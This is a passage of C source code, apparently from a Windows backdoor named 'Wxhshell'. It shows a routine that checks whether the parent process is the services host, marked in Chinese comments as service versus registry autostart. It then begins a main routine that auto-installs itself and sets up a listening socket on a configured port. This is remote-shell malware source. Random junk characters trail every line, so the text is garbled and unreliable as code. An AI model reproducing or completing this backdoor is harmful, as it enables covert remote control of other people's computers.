DWORD AffinityMask; pGK;1gVj
DWORD BasePriority; DBCK2PlJ
ULONG UniqueProcessId; Sp^9&^
ULONG InheritedFromUniqueProcessId; t| 'N+-T3
} PROCESS_BASIC_INFORMATION; `$B3X
:@!ic<p
PROCNTQSIP NtQueryInformationProcess; l?Fb ='#
e}.^Tiwd]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k31I ysh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^8@Iyh
|'{zri|A"
HANDLE hProcess; rORZerM
PROCESS_BASIC_INFORMATION pbi; d\ ~QBr?
dVFf.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ODC8D>ZYl
if(NULL == hInst ) return 0; tX"Th'Qi
yZ7,QsEsN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hf vTxaK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ie4 hhW
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HjGyj/78w
K"[AxB'F
if (!NtQueryInformationProcess) return 0; 9>g,
W"k8KODOY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ce")[<:
if(!hProcess) return 0; 6'RrQc=q
H03jDM8Q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &ZX{R#[L
%B)6$!x
CloseHandle(hProcess); IrWD%/$H
^-[ ?#]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gW1b~(
fD
if(hProcess==NULL) return 0; mBG=jI "xh
A^2Uzmzl?
HMODULE hMod; &g~ wS@
char procName[255]; 0#YX=vjX7
unsigned long cbNeeded; $LLA,?;!
t6A:ZmG_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1s{^X
-
{nvLPUL
CloseHandle(hProcess); ~DsECnD
3RR_fmMT)
if(strstr(procName,"services")) return 1; // 以服务启动 F`9ZH.
*s>BG1$<
return 0; // 注册表启动 D.1J_Y=9
} H_ez'yy
,+
#6Y_
// 主模块 }A:<%N
int StartWxhshell(LPSTR lpCmdLine) }oKG}wgY
{ 3t0[^cY8=z
SOCKET wsl; en:4H
BOOL val=TRUE; aKd+CO:
int port=0; 5n
^TRB
struct sockaddr_in door; ^-a8V'
d'|,[p
if(wscfg.ws_autoins) Install(); viAMr"z
WzI8_uM
port=atoi(lpCmdLine); W{rt8^1
&%_& 8DkG
if(port<=0) port=wscfg.ws_port; `)Z!V?&